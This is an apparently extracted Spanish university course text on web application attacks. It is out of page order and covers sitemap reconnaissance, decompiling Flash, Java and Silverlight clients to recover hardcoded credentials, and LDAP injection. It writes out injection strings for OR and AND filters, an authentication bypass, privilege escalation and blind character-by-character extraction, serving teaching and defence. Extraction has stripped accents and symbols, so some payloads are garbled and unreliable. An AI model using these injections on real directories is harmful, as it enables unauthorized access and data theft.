descubrirla nosotros mismos navegando por la paacutegina Sin embargo es de vital

importancia pues nos ahorra tiempo en navegar por el sitio y con una sola

peticioacuten obtenemos un esquema de la estructura del mismo A continuacioacuten

se muestra un ejemplo de un fichero sitemapxml

ltxml version=10 encoding=UTF-8gt

lturlset xmlns=httpwwwsitemapsorgschemassitemap09gt

lturlgt

ltlocgthttpwwwacomltlocgt

ltlastmodgt2005-01-01ltlastmodgt

ltchangefreqgtmonthlyltchangefreqgt

ltprioritygt08ltprioritygt

lturlgt

lturlgt

ltlocgthttpwwwacomnewsltlocgt

ltchangefreqgtweeklyltchangefreqgt

lturlgt

lturlgt

ltlocgthttpwwwacomarchiveltlocgt

ltlastmodgt2004-12-23ltlastmodgt

changefreqgtweeklyltchangefreqgt

CC-BY-NC-ND bull PID_00191662 67 Ataques a aplicaciones web

lturlgt

lturlgt ltlocgthttpwwwacomfaqltlocgt

ltlastmodgt2004-12-23T180015+0000ltlastmodgt

ltprioritygt03ltprioritygt

lturlgt

lturlgt ltlocgthttpwwwacomaboutltlocgt

ltlastmodgt2004-11-23ltlastmodgt

lturlgt

lturlsetgt

61 Descompiladores de applets web

611 Flash

Flash se ha puesto cada vez maacutes de moda como una manera de ofrecer una

interfaz atractiva al usuario final En la actualidad hay multitud de paacuteginas

que hacen un uso casi abusivo de esta tecnologiacutea Pero debemos tener en con-

sideracioacuten algo importante y es que Flash no es maacutes que la capa de presenta-

cioacuten sobre la capa de datos y nunca una uacutenica capa que se encarga de todo

aunque a veces ocurre

Es por ello por lo que estas paacuteginas en Flash si cargan datos dinaacutemicamente

han de llamar a paacuteginas que se los devuelvan en funcioacuten de los paraacutemetros

proporcionados Estos paraacutemetros podriacutean ser vulnerables a las inyecciones de

coacutedigo que se comentaron anteriormente Estas llamadas a ficheros externos

se pueden observar faacutecilmente usando un sniffer del protocolo HTTP

Un ejemplo claro de esto son las paacuteginas que usan un reproductor de audio

en Flash y en las que podemos descargar los ficheros mp3 sin necesidad de ver

el coacutedigo fuente del fichero Flash

CC-BY-NC-ND bull PID_00191662 68 Ataques a aplicaciones web

Figura 49 Captura del fichero mp3 reproducido desde unreproductor web

Tambieacuten es posible en ficheros Flash la descompilacioacuten de los ficheros dando

lugar a un pseudocoacutedigo legible que permitiriacutea a un atacante conocer coacutemo

actuacutea internamente el fichero Ademaacutes es posible convertir el coacutedigo a un en-

samblador de ActionScript7 que podemos modificar y volver a compilar daacuten-

donos la posibilidad por ejemplo de incluir coacutedigo Javascript dentro de un

fichero Flash

Existen muacuteltiples programas para realizar esta accioacuten y aquiacute vamos a mostrar

coacutemo realizar esto mediante el programa Flasm de descarga gratuita

La aplicacioacuten se ejecuta desde consola Recibe el paraacutemetro ndashd para descompi-

lar el fichero swf que recibe Al volcar el coacutedigo por pantalla necesitamos redi-

rigir hacia un fichero de texto la salida del programa En este ejemplo vamos

a realizar la accioacuten con un pequentildeo juego Flash

Figura 50 Ejecucioacuten del comando flasmexe

Este comando parsea el fichero swf y extrae el coacutedigo asociado a eacutel Logra

extraer el coacutedigo y convertirlo en un lenguaje parecido al ensamblador

(7)Es el lenguaje usado internamen-te para programar las aplicacio-nes Flash Tiene una sintaxis pare-cida a Javascript y es un lenguajeinterpretado lo cual significa quepodemos lograr extraer el coacutedigofuente original del fichero swf

CC-BY-NC-ND bull PID_00191662 69 Ataques a aplicaciones web

Figura 51 Volcado del coacutedigo del fichero swf

Conocer el coacutedigo fuente de un fichero swf nos puede ayudar a entender coacutemo

funciona la aplicacioacuten a buscar fallos de seguridad en el coacutedigo o a localizar las

URL a las que hace referencia para cargar informacioacuten dentro de la aplicacioacuten

Flash Una vez localizadas estas URL seriacutea cuestioacuten de probar sobre ellas los

fallos de seguridad comentados en capiacutetulos anteriores

612 Java

Al igual que con los ficheros Flash aunque con menos popularidad en la ac-

tualidad existen los llamados applets Java pequentildeas aplicaciones que se eje-

cutan dentro de nuestro navegador

Java se ejecuta sobre una maacutequina virtual se puede ejecutar el mismo coacutedigo

en cualquier ordenador que implemente la maacutequina virtual de Java Esto tiene

muchas ventajas a la hora de exportar nuestra aplicacioacuten Sin embargo esto

tambieacuten nos permite poder extraer el coacutedigo exactamente igual que lo haciacutea-

mos en Flash

Para realizar esta accioacuten existen programas que efectuacutean esta conversioacuten y nos

muestran el coacutedigo Java original En la captura siguiente el programa usado

es Java Decompiler un programa gratuito que nos permitiraacute realizar estas ac-

ciones

CC-BY-NC-ND bull PID_00191662 70 Ataques a aplicaciones web

Figura 52 Pantalla principal del Java Decompiler

613 NET

Microsoft ha sumado su plataforma NET a la web Existen las aplicaciones

ASPNET que se ejecutan del lado del servidor y que no vamos a poder auditar

maacutes allaacute de los paraacutemetros que reciba Sin embargo estaacute poco a poco expan-

dieacutendose una nueva tecnologiacutea llamada Silverlight Silverlight es un compila-

do NET que se carga desde el servidor mediante un plugin en nuestro navega-

dor Esto al igual que Flash y Java nos permite analizar el coacutedigo fuente de

la aplicacioacuten Silverlight

Figura 53 Aplicacioacuten de muestra de Silverlight

CC-BY-NC-ND bull PID_00191662 71 Ataques a aplicaciones web

En la captura anterior se puede observar una aplicacioacuten Silverlight muy simple

Nos va a solicitar usuario y contrasentildea para lograr entrar Esta aplicacioacuten estaacute

programada para que compruebe los datos introducidos con unos datos que

estaacuten escritos dentro de la aplicacioacuten Esto es un grave fallo de seguridad y

vamos a ver coacutemo analizar el fichero para sacar el usuario y la contrasentildea

vaacutelidos El detalle de coacutedigo Javascript seriacutea

Para descargar una aplicacioacuten Silverlight debemos localizar dentro del coacutedigo

HTML la seccioacuten de coacutedigo que realice la carga del fichero XAP Este fichero

contiene todo el coacutedigo de la aplicacioacuten Silverlight y seraacute lo que nuestro na-

vegador interprete

El fichero XAP contiene una serie de ficheros necesarios para la ejecucioacuten del

programa Estos ficheros son compilados de NET y pueden ser analizados me-

diante programas como NET Reflector Los ficheros contenidos en este fiche-

ro pueden ser extraiacutedos mediante el uso de cualquier programa descompresor

pues realmente es un fichero ZIP

Figura 54ndash Fichero xap descomprimido

Una vez descomprimido se nos muestran una serie de archivos Estos archivos

contienen informacioacuten referente a la interfaz usada por la aplicacioacuten pero

realmente los datos importantes se encuentran en el fichero Test001dll (en el

ejemplo actual) Este fichero puede ser descompilado mediante el programa

indicado anteriormente y acceder al coacutedigo fuente interno En este caso se

observan dos clases principales App y MainPage

CC-BY-NC-ND bull PID_00191662 72 Ataques a aplicaciones web

Figura 55 Detalle del programa descompilado

En la imagen anterior observamos coacutemo en la clase MainPage existe un meacuteto-

do btnOK_Click Este meacutetodo es el llamado cuando pulsamos sobre el botoacuten

de Entrar de la aplicacioacuten En el coacutedigo asociado vemos coacutemo se comprueba el

nombre de usuario con la cadena ldquotestrdquo y la clave con la cadena ldquomelonrdquo

Tanto Silverlight como los applets Java o las aplicaciones Flash son una mera

forma de poner un contenido de una manera maacutes vistosa para el usuario Sin

embargo a veces los desarrolladores web lo usan como un lenguaje de progra-

macioacuten web completamente vaacutelido algo que se ha demostrado muy inseguro

CC-BY-NC-ND bull PID_00191662 73 Ataques a aplicaciones web

Bibliografiacutea

Andreu A (2006) Professional Pen Testing for Web Applications Ed Wrox

Clarke J (2009) SQL Injection Attacks and defense E Syngress

Grossman J et al (2007) Xss Attacks Cross Site Scripting Exploits And Defense Ed Syngress

Scambray J Shema M and Sima C (2006) Hacking Expose Web Applications Ed Mc-Graw-HillOsborne Media

Stuttard D (2007) The Web Application Hackers Handbook Discovering and Exploiting Secu-rity Flaws Ed Wiley

  • Ataques a aplicaciones web
    • Iacutendice
    • 1 Ataques de inyeccioacuten de scripts
      • 11 Cross site scripting (XSS)
        • 111 Ataques
        • 112 Meacutetodos para introducir XSS (cross site scripting)
        • 113 Diseccionando un ataque
        • 114 Filtros XSS
          • 12 Cross Site Request Forgery (CSRF)
          • 13 Clickjacking
            • 2 Ataques de inyeccioacuten de coacutedigo
              • 21 LDAP Injection
                • 211 LDAP Injection con ADAM de Microsoft
                • 212 LDAP Injection con OpenLDAP
                • 213 Conclusiones
                • 214 ldquoORrdquo LDAP Injection
                • 215 ldquoANDrdquo LDAP Injection
                  • 22 Blind LDAP Injection
                    • 221 Blind LDAP Injection en un entorno ldquoANDrdquo
                    • 222 Reconocimiento de clases de objetos de un aacuterbol LDAP
                    • 223 Blind LDAP Injection en un entorno ldquoORrdquo
                    • 224 Ejemplos Blind LDAP Injection
                      • 23 XPath
                        • 231 XPath injection y Blind XPath Injection
                        • 232 iquestCoacutemo protegerse de teacutecnicas de XPath Injection
                            • 3 Ataques de Path Transversal
                              • 31 Path Disclosure
                                • 4 Ataques de inyeccioacuten de ficheros
                                  • 41 Remote file inclusion
                                  • 42 Local file inclusion
                                  • 43 Webtrojans
                                    • 5 Google Hacking
                                    • 6 Seguridad por ocultacioacuten
                                      • 61 Descompiladores de applets web
                                        • 611 Flash
                                        • 612 Java
                                        • 613 NET
                                            • Bibliografiacutea
Page 28: Ataques a Aplicaciones Web

CC-BY-NC-ND bull PID_00191662 28 Ataques a aplicaciones web

La inyeccioacuten de comandos es una teacutecnica de ataque a aplicaciones web cuyo

objetivo principal es aprovechar conexiones a bases de datos desde aplicacio-

nes web no securizadas para permitir a un atacante la ejecucioacuten de comandos

directamente en la base de datos

21 LDAP Injection

Vamos a mostrar las posibilidades y riesgos de los ataques LDAP Injection en

aplicaciones web Con estos ejemplos se quiere demostrar coacutemo es posible

realizar ataques de elevacioacuten de privilegios de salto de protecciones de acceso

y de acceso a datos en aacuterboles LDAP mediante el uso de inyecciones de coacutedigo

LDAP Estas inyecciones de coacutedigo se han clasificado en inyecciones

bull And LDAP Injection

bull OR LDAP Injection y

bull Blind LDAP Injection

Para probar estas teacutecnicas de inyeccioacuten se han utilizado los motores ADAM

de Microsoft y el motor OpenLDAP un producto Software Libre de amplia

implantacioacuten a nivel mundial

211 LDAP Injection con ADAM de Microsoft

Para realizar todas las pruebas de las cadenas a inyectar se ha utilizado la herra-

mienta LDAP Browser que permite conectarse a distintos aacuterboles LDAP y un

cliente web sinteacutetico creado con el componente IPWorksASPLDAP de la em-

presa n Software para realizar las pruebas de ejecucioacuten de filtros inyectados

En la figura 12 se muestra la estructura que se ha creado de ejemplo en ADAM

Figura 12 Estructura del aacuterbol LDAP creado en ADAM

CC-BY-NC-ND bull PID_00191662 29 Ataques a aplicaciones web

Supongamos ahora que la aplicacioacuten web utiliza una consulta con el siguiente

filtro (cn=Impresora_1) Al lanzar esta consulta se obtiene 1 objeto como

se puede ver en la figura 13

Figura 13 Objeto de respuesta con el filtro (cn=Impresora_1)

Lo deseable por un atacante que realice una inyeccioacuten seriacutea poder acceder a

toda la informacioacuten mediante la inclusioacuten de una consulta que nos devolviera

todas las impresoras En el ejemplo vemos cuaacutel deberiacutea ser el resultado a ob-

tener con una consulta siguiendo el formato definido en las RFC sobre ADAM

(|(cn=Impresora_1)(cn=Impresora))

CC-BY-NC-ND bull PID_00191662 30 Ataques a aplicaciones web

Figura 14 Todas las impresoras

Sin embargo como se puede apreciar para construir ese filtro necesitariacuteamos

inyectar un operador y un pareacutentesis al principio En el ejemplo la inyeccioacuten

no resulta ser muy uacutetil pues se estaacute realizando en ambas condicionantes sobre

cn pero ese filtro solo estaacute creado para ilustrar la necesidad de inyectar coacutedigo

antes del filtro y en el medio del filtro Si probamos la inyeccioacuten propuesta

por Sacha Faust en ADAM (cn=Impresora_1)(|(cn=Impresora))

Figura 15 Inyeccioacuten sin resultados

CC-BY-NC-ND bull PID_00191662 31 Ataques a aplicaciones web

Como se puede apreciar en la figura anterior en la uacuteltima prueba la inyeccioacuten

no produce ninguacuten error pero a diferencia de las pruebas que realiza Sacha

Faust con SunOne Directory Server 50 el servidor ADAM no devuelve maacutes

datos Es decir solo devuelve los datos del primer filtro completo y el resto de

la cadena es ignorado

212 LDAP Injection con OpenLDAP

Para realizar las pruebas de inyeccioacuten en OpenLDAP se ha utilizado el aacuterbol

que ofrece para aplicaciones de prueba el propio proyecto OpenLPADorg cuya

estructura es la siguiente

Figura 16 Estructura del aacuterbol LDAP en OpenLDAP

Sobre esta estructura ejecutamos una consulta para buscar a un usuario obte-

niendo un uacutenico objeto como resultado (uid=kurt)

CC-BY-NC-ND bull PID_00191662 32 Ataques a aplicaciones web

Figura 17 Al ejecutar el filtro (uid=kurt) obtenemos un uacutenico resultado

Si quisieacuteramos ampliar el nuacutemero de resultados siguiendo el formato definido

en el RFC deberiacuteamos ejecutar una consulta en la que inyectaacuteramos un opera-

dor OR y un filtro que incluyera todos los resultados como se puede ver en la

siguiente imagen (|(uid=kurt)(uid=))

Figura 18 Todos los usuarios

Si realizamos la inyeccioacuten tal y como propone Sacha Faust en su documento

sobre LDAP obtendriacuteamos los siguientes resultados (uid=kurt)(|(uid=))

CC-BY-NC-ND bull PID_00191662 33 Ataques a aplicaciones web

Figura 19 Inyeccioacuten OpenLDAP Se ignora el segundo filtro

Como puede apreciarse en la figura 19 el servidor OpenLDAP ha ignorado

el segundo filtro y solo ha devuelto un usuario de igual forma que realizaba

ADAM

213 Conclusiones

Tras realizar estas pruebas podemos extraer las siguientes conclusiones

bull Para realizar una inyeccioacuten de coacutedigo LDAP en una aplicacioacuten que trabaje

contra ADAM u OpenLDAP es necesario que el filtro original es decir el

del programador tenga un operador OR o AND A partir de este punto se

pueden realizar inyecciones de coacutedigo que permitan extraer informacioacuten

o realizar ataques blind es decir a ciegas

bull Es necesario que la consulta generada tras la inyeccioacuten esteacute correctamente

anidada en un uacutenico par de pareacutentesis general o bien que el componente

permita la ejecucioacuten con informacioacuten que no se va a utilizar a la derecha

del filtro

bull La inyeccioacuten que queda compuesta seguacuten el documento de Sacha Faust

puede ser vista de dos formas diferentes una primera en la que seriacutea vista

como un uacutenico filtro con un operador y otra en la que se interpretaraacute co-

mo la concatenacioacuten de dos filtros En el primer caso tendriacuteamos un filtro

mal compuesto Por otro lado si la inyeccioacuten se ve como dos filtros es-

tariacuteamos hablando de un comportamiento particular de algunos motores

LDAP (que no comparten con OpenLDAP ni con ADAM) y ademaacutes con

un segundo filtro con un operador el operador OR innecesario

CC-BY-NC-ND bull PID_00191662 34 Ataques a aplicaciones web

A partir de este punto vamos a analizar diferentes tipos de inyecciones LDAP

que pueden suponer un riesgo de seguridad en los sistemas LDAP que esteacuten

siendo accedidos por aplicaciones web ldquoORrdquo LDAP Injection ldquoANDrdquo LDAP In-

jection y Blind LDAP Injection

214 ldquoORrdquo LDAP Injection

En este entorno nos encontrariacuteamos con que el programador ha creado una

consulta LDAP con un operador OR y uno o los dos paraacutemetros son solicitados

al usuario

(|(atributo1=valor1)(atributo2=valor2))

Supongamos en el ejemplo del aacuterbol LDAP que tenemos una consulta inyec-

table del siguiente tipo (|(cn=D)(ou=Groups)) Es decir que devuelve to-

dos los objetos cuyo valor en ldquocnrdquo comience por ldquoDrdquo o cuyo valor en ldquoourdquo sea

ldquoGroupsrdquo Al ejecutarla obtenemos

Figura 20 Consulta OR sin inyeccioacuten

Si esta consulta sufriera una inyeccioacuten de coacutedigo en el primer paraacutemetro po-

driacuteamos realizar una consulta que nos devolviera la lista de usuarios almace-

nados Para ello realizamos la inyeccioacuten en el primer valor de la siguiente ca-

dena void)(uid=))(|(uid=

CC-BY-NC-ND bull PID_00191662 35 Ataques a aplicaciones web

Figura 21 Lista de usuarios obtenida tras la inyeccioacuten

Al formarse la consulta LDAP esta quedaraacute construida de la siguiente forma (|

(cn=void)(uid=))(|(uid=)(ou=Groups)) permitiendo obtener la lis-

ta de todos los usuarios del aacuterbol LDAP

Otro ejemplo de esta teacutecnica es la siguiente aplicacioacuten de gestioacuten interna en

este caso tenemos un aplicativo que lanza una consulta LDAP del siguiente

tipo

(|(type=outputDevices)(type=printer))

Figura 22 Listado de impresoras y dispositivos de salida

Si el paraacutemetro type que va por GET en la URL es inyectable un atacante podriacutea

modificar el filtro de consulta LDAP con una inyeccioacuten del siguiente tipo

CC-BY-NC-ND bull PID_00191662 36 Ataques a aplicaciones web

(|(type=outputDevices)(type=printer)(uid=))(|(type=void))

Con esa inyeccioacuten el atacante obtendriacutea en este ejemplo la lista de todos los

usuarios como se puede ver en la figura 23

Figura 23 Acceso al listado de usuarios mediante OR LDAP Injection

215 ldquoANDrdquo LDAP Injection

En el caso de inyecciones en consultas LDAP que lleven el operador AND el

atacante estaacute obligado a utilizar como valor en el primer atributo algo vaacutelido

pero se pueden utilizar las inyecciones para mediatizar los resultados y por

ejemplo realizar escaladas de privilegios En este caso nos encontrariacuteamos con

una consulta del siguiente tipo

(amp(atributo1=valor1)(atributo2=valor2))

Supongamos un entorno en el que se muestra la lista de todos los documentos

a los que un usuario con pocos privilegios tiene acceso mediante una consulta

que incluye el directorio de documentos en un paraacutemetro inyectable Es decir

la consulta original es

(amp(directorio=nombre_directorio)(nivel_seguridad=bajo))

Un atacante podriacutea construir una inyeccioacuten del siguiente modo para poder

acceder a los documentos de nivel de seguridad alto

(amp(directorio=almacen)(nivel_seguridad=alto))(|(directorio=almacen)(nivel_seguridad=bajo))

Para conseguir este resultado se habraacute inyectado en el nombre del directorio

la siguiente cadena

almacen)(nivel_seguridad=alto))(|(directorio=almacen

CC-BY-NC-ND bull PID_00191662 37 Ataques a aplicaciones web

Un ejemplo de este ataque se puede ver en la siguiente aplicacioacuten En primer

lugar se va a realizar un acceso no autorizado a la aplicacioacuten web utilizando

una inyeccioacuten que evite la comprobacioacuten de la contrasentildea La aplicacioacuten lanza

una consulta LDAP del tipo

(amp(uid=valor_de_user)(password=valor_de_password)

El atacante inyectando la cadena slisberger)(amp)) en el valor del USER

obtendriacutea una consulta LDAP que siempre devolveriacutea al usuario slisberger

y por lo tanto conseguiriacutea el acceso a la aplicacioacuten

Figura 24 Acceso no autorizado mediante AND LDAP Injection

Y como se puede ver en la figura 25 el usuario consigue acceso al directorio

privado del usuario slisberger En este caso se ha utilizado el filtro (amp)

que es el equivalente al valor TRUE en los filtros LDAP

Figura 25 Directorio home del usuario

Como se puede ver en este caso el usuario ha accedido con privilegios de nivel

bajo y en la aplicacioacuten de mostrar documentos que se describioacute al principio

de este apartado solo tendriacutea acceso a los documentos de nivel bajo como se

puede ver en la figura 26

CC-BY-NC-ND bull PID_00191662 38 Ataques a aplicaciones web

Figura 26 Listado de documentos de nivel bajo

La consulta que se estaacute ejecutando es

(amp(directory=nombre_directorio)(level=low))

El valor de level lo estaacute cogiendo la aplicacioacuten de las variables de sesioacuten del

servidor sin embargo un atacante podriacutea inyectar en el nombre del directorio

el siguiente comando Documents)(level=High) De esta forma el coman-

do que se ejecutariacutea seriacutea

(amp(directory=Documents)(level=High))(level=low))

Permitiendo al atacante acceder a todos los documentos Se ha producido una

elevacioacuten de privilegios

CC-BY-NC-ND bull PID_00191662 39 Ataques a aplicaciones web

Figura 27 Elevacioacuten de privilegios mediante AND LDAP Injection

22 Blind LDAP Injection

Una de las evoluciones de las inyecciones de comandos son las acciones a

ciegas los ataques ldquoblindrdquo Es comuacuten encontrarse ya documentados los ataques

Blind SQL Injection pero de los ataques Blind LDAP Injection sin embargo no

se ha hablado nada Tambieacuten es posible realizar un ataque a ciegas para extraer

informacioacuten de un aacuterbol LDAP

El entorno para realizar un ataque a ciegas suele ser una aplicacioacuten web que

cumple dos caracteriacutesticas

bull La aplicacioacuten no muestra los resultados obtenidos de la consulta realizada

al aacuterbol LDAP

bull El uso de los resultados produce cambios en la respuesta http que el cliente

recibe

Para realizar un ataque a ciegas necesitamos poder crear la loacutegica para extraer

informacioacuten cambiando los resultados obtenidos con el filtro LDAP y obser-

vando los cambios en las respuestas http

CC-BY-NC-ND bull PID_00191662 40 Ataques a aplicaciones web

221 Blind LDAP Injection en un entorno ldquoANDrdquo

En esta situacioacuten tenemos una consulta generada en el lado del servidor del

siguiente tipo

(amp(atributo1=valor1)(atributo2=valor2))

Para realizar la inyeccioacuten debemos tener en cuenta que en un entorno AND

tenemos un paraacutemetro fijo que nos va a condicionar El entorno ideal es que el

atributo1 sea lo maacutes general posible por ejemplo objectClass o cn con lo

que podremos seleccionar casi cualquier objeto del aacuterbol Despueacutes deberemos

aplicarle un valor que sea true es decir que siempre seleccione objetos para

tenerlo fijado a valor true y utilizar como segundo atributo uno conocido que

tambieacuten nos garantice que sea true

Supongamos la siguiente consulta LDAP

(amp(objectClass=Impresoras)(impresoraTipo=Epson))

Que se lanza para saber si en el almaceacuten de una empresa hay impresoras Epson

de tal manera que el programador si recibe alguacuten objeto simplemente pinta

en la paacutegina web un icono de una impresora Epson

Estaacute claro que lo maacuteximo que conseguiremos tras la inyeccioacuten es ver o no el

icono de la impresora Bien iexclpues a ello Fijemos la respuesta positiva tal y

como hemos dicho realizando una inyeccioacuten del siguiente tipo

(amp(objectClass=)(objectClass=))(amp(objectClass=void)(impresoraTipo=Epson))

Lo que estaacute puesto en negrita seriacutea la inyeccioacuten que introduciriacutea el atacante

Esta inyeccioacuten debe devolver siempre alguacuten objeto en el ejemplo planteado

en la respuesta http veriacuteamos un icono de la impresora A partir de ahiacute podriacutea-

mos extraer los tipos de objectClass que tenemos en nuestro aacuterbol LDAP

222 Reconocimiento de clases de objetos de un aacuterbol LDAP

Sabiendo que el filtro (objectClass=) siempre devuelve alguacuten objeto deberiacutea-

mos centrarnos en el segundo filtro realizando un recorrido de la siguiente

forma

(amp(objectClass=)(objectClass=users))(amp(objectClass=foo)(impresoraTipo=Epson))

(amp(objectClass=)(objectClass=personas))(amp(objectClass=foo)(impresoraTipo=Epson))

(amp(objectClass=)(objectClass=usuarios))(amp(objectClass=foo)(impresoraTipo=Epson))

(amp(objectClass=)(objectClass=logins))(amp(objectClass=foo)(impresoraTipo=Epson))

(amp(objectClass=)(objectClass=))(amp(objectClass=foo)(impresoraTipo=Epson))

CC-BY-NC-ND bull PID_00191662 41 Ataques a aplicaciones web

De tal manera que todas aquellas inyecciones que devolvieran el icono de la

impresora en la paacutegina web seriacutean respuestas afirmativas que nos indicariacutean

la existencia de ese tipo de objetos

Otra forma maacutes eficiente seriacutea realizando un barrido en el espectro del alfa-

beto de posibles valores utilizando una buacutesqueda con comodines para ello

realizariacuteamos un aacuterbol que comenzariacutea por todas las letras del abecedario de

la siguiente forma

(amp(objectClass=)(objectClass=a))(amp(objectClass=foo)(impresoraTipo=Epson))

(amp(objectClass=)(objectClass=b))(amp(objectClass=foo)(impresoraTipo=Epson))

(amp(objectClass=)(objectClass=z))(amp(objectClass=foo)(impresoraTipo=Epson))

De tal manera que seguiriacuteamos desplegando el aacuterbol de aquellas que hubieran

dado una respuesta positiva

(amp(objectClass=)(objectClass=aa))(amp(objectClass=foo)(impresoraTipo=Epson))

(amp(objectClass=)(objectClass=ab))(amp(objectClass=foo)(impresoraTipo=Epson))

(amp(objectClass=)(objectClass=az))(amp(objectClass=foo)(impresoraTipo=Epson))

(amp(objectClass=)(objectClass=ba))(amp(objectClass=foo)(impresoraTipo=Epson))

(amp(objectClass=)(objectClass=bb))(amp(objectClass=foo)(impresoraTipo=Epson))

Y asiacute sucesivamente con lo que desplegando siempre las positivas podriacuteamos

llegar a saber el nombre de todos los objetcClass de un sistema

Figura 28 Aacuterbol de despliegue Se profundizaraacute en todas las respuestas positivas (color verde)

Este mecanismo no solo funciona para objectClass sino que seriacutea vaacutelido

para cualquier atributo que un objeto compartiera con el atributo fijo Una

vez sacados los objectClass podriacuteamos proceder a realizar el mismo reco-

CC-BY-NC-ND bull PID_00191662 42 Ataques a aplicaciones web

rrido para extraer la informacioacuten de ellos por ejemplo si queremos extraer los

nombres de todos los usuarios de un sistema bastariacutea con realizar el barrido

con la siguiente inyeccioacuten

(amp(objectClass=user)(uid=a))(amp(objectClass=foo)(impresoraTipo=Epson))

(amp(objectClass=user)(uid=b))(amp(objectClass=foo)(impresoraTipo=Epson))

(amp(objectClass=user)(uid=z))(amp(objectClass=foo)(impresoraTipo=Epson))

Este meacutetodo obliga a hacer un recorrido en amplitud por un aacuterbol cuya posi-

bilidad de expandirse en cada nodo siempre es igual al alfabeto completo Se

puede reducir este alfabeto realizando un recorrido para averiguar queacute carac-

teres no estaacuten siendo utilizados en ninguna posicioacuten en ninguacuten objeto utili-

zando un recorrido de la siguiente forma

(amp(objectClass=user)(uid=a))(amp(objectClass=foo)(impresoraTipo=Epson))

(amp(objectClass=user)(uid=b))(amp(objectClass=foo)(impresoraTipo=Epson))

(amp(objectClass=user)(uid=z))(amp(objectClass=foo)(impresoraTipo=Epson))

De esta forma se pueden excluir del alfabeto aquellos caracteres que no hayan

devuelto un resultado positivo tras este primer recorrido Si deseaacuteramos bus-

car un uacutenico valor podriacuteamos realizar una buacutesqueda binaria de cada uno de

los caracteres utilizando los operadores relacionales lt= o gt= para reducir el

nuacutemero de peticiones

En los atributos que almacenan valores numeacutericos no es posible utilizar el co-

modiacuten para ldquobooleanizarrdquo la informacioacuten almacenada es por tanto necesa-

rio realizar la buacutesqueda de valores utilizando los operadores gt= y lt=

(amp(objectClass=user)(uid=kurt)(edadgt=1)(amp(objectClass=foo)(impresoraTipo=Epson))

223 Blind LDAP Injection en un entorno ldquoORrdquo

En esta situacioacuten tenemos una consulta generada en el lado del servidor del

siguiente tipo

(|(atributo1=valor1)(atributo2=valor2))

En este entorno la loacutegica que debemos utilizar es al contrario En lugar de fijar

el valor del primer filtro a un valor siempre cierto deberemos fijarlo a un valor

siempre falso y a partir de ahiacute extraer la informacioacuten es decir realizariacuteamos

una inyeccioacuten de la siguiente forma

(|(objectClass=void)(objectClass=void))(amp(objectClass=void)(impresoraTipo=Epson))

CC-BY-NC-ND bull PID_00191662 43 Ataques a aplicaciones web

Con esta inyeccioacuten obtendremos el valor negativo de referencia En el ejemplo

planteado de las impresoras disponibles deberemos obtener un resultado sin

el icono de la impresora Luego podremos inferir la informacioacuten cuando sea

verdadero el segundo filtro

(|(objectClass=void)(objectClass=users))(amp(objectClass=void)(impresoraTipo=Epson))

(|(objectClass=void)(objectClass=personas))(amp(objectClass=void)(impresoraTipo=Epson))

(|(objectClass=void)(objectClass=usuarios))(amp(objectClass=void)(impresoraTipo=Epson))

(|(objectClass=void)(objectClass=logins))(amp(objectClass=void)(impresoraTipo=Epson))

(|(objectClass=void)(objectClass=))(amp(objectClass=void)(impresoraTipo=Epson))

De igual forma que en el ejemplo con el operador AND podriacuteamos extraer toda

la informacioacuten del aacuterbol LDAP utilizando los comodines

224 Ejemplos Blind LDAP Injection

Para mostrar la potencia de los ataques Blind LDAP Injection se ha creado

dentro de un aacuterbol LDAP sobre ADAM una estructura con objetos Printer En

la siguiente figura se pueden ver los atributos de un objeto de tipo Printer

Figura 29 Aacuterbol LDAP sobre ADAM Objeto tipo Printer

Sobre este aacuterbol LDAP trabaja una aplicacioacuten web que se conecta entre otros

repositorios a este aacuterbol para obtener informacioacuten En este caso tenemos una

aplicacioacuten programada en php llamada printerstatusphp que recibe co-

mo paraacutemetro el nombre de la impresora y construye una consulta LDAP de

la siguiente forma

(amp(cn=HP Laserjet 2100)(objectclass=printer))

El resultado es una paacutegina web en la que se accede a propiedades de la impre-

sora en concreto

CC-BY-NC-ND bull PID_00191662 44 Ataques a aplicaciones web

Figura 30 Propiedades de la impresora HP LaserJet 2100

El paraacutemetro idprinter se utiliza para construir la consulta LDAP y es vul-

nerable a LDAP Injection sin embargo no se muestra ninguno de los datos de

los objetos que se puedan seleccionar con cualquier consulta ejecutada por

lo que uacutenicamente se puede realizar una explotacioacuten a ciegas Las siguientes

capturas muestran ejemplos de coacutemo extraer informacioacuten del aacuterbol LDAP me-

diante Blind LDAP Injection

1)Fase1descubrimientodeatributos

El atacante inyecta atributos para descubrir si existen o no Cuando el atributo

no existe la consulta LDAP no devuelve ninguacuten objeto y la aplicacioacuten no

muestra datos de ninguna impresora

Hay que tener en cuenta que el comodiacuten vale uacutenicamente para los valores de

tipo alfanumeacutericos luego si el atributo fuera de otro tipo no se podriacutea descubrir

asiacute Para los tipos numeacutericos y de tipo fecha se utilizan los operadores gt= lt=

o = y para los booleanos las constantes true y false

Figura 31 Atributo IPaddress no existe o no tiene valor alfanumeacuterico

En el siguiente ejemplo el atributo distinguisedname existe y ademaacutes es de

tipo alfanumeacuterico ya que funciona perfectamente con el comodiacuten ldquordquo Esto

se puede comprobar porque la paacutegina de resultados ha devuelto datos de la

impresora que se estaba utilizando

CC-BY-NC-ND bull PID_00191662 45 Ataques a aplicaciones web

Figura 32 Atributo distinguisedname existe y tiene valor alfanumeacuterico

Como se puede ver hay diferencias entre las paacuteginas que devuelven datos y las

que no con lo que se puede automatizar la extraccioacuten de toda la informacioacuten

y el descubrimiento de los atributos simplemente comparando los resultados

HTML obtenidos

En la figura 33 se obtiene de nuevo un resultado positivo que confirma la

existencia de un atributo department

Figura 33 Atributo Department existe y tiene valor Unicode extraiacuteble

2)Fase2reduccioacutendelalfabeto

Una de las opciones que se pueden sopesar es realizar una reduccioacuten del al-

fabeto posible de valores en un campo La idea consiste en saber si existe o

no un determinado caraacutecter en un atributo Si el atributo tiene 15 caracteres

de longitud y tenemos que probar por ejemplo 28 letras por 15 caracteres

tendriacutean que realizarse un total de 420 peticiones para extraer la informacioacuten

Sin embargo se puede realizar un recorrido que nos diga si una letra pertene-

ce o no al valor De esa manera realizariacuteamos primero 28 peticiones que nos

dejaraacuten en el peor de los casos una letra distinta por cada posicioacuten es decir

15 letras Luego en el peor de los casos tendriacuteamos 15 letras x 15 posiciones

+ 28 peticiones de reduccioacuten del alfabeto es decir 253 peticiones Ademaacutes se

puede inferir que si una letra ya ha sido utilizada puede que no se vuelva a

utilizar con lo que tendriacuteamos una reduccioacuten auacuten mayor si la letra se utiliza

como uacuteltima opcioacuten dejando la probabilidad en un sumatorio de 115 + 28

es decir 148 peticiones

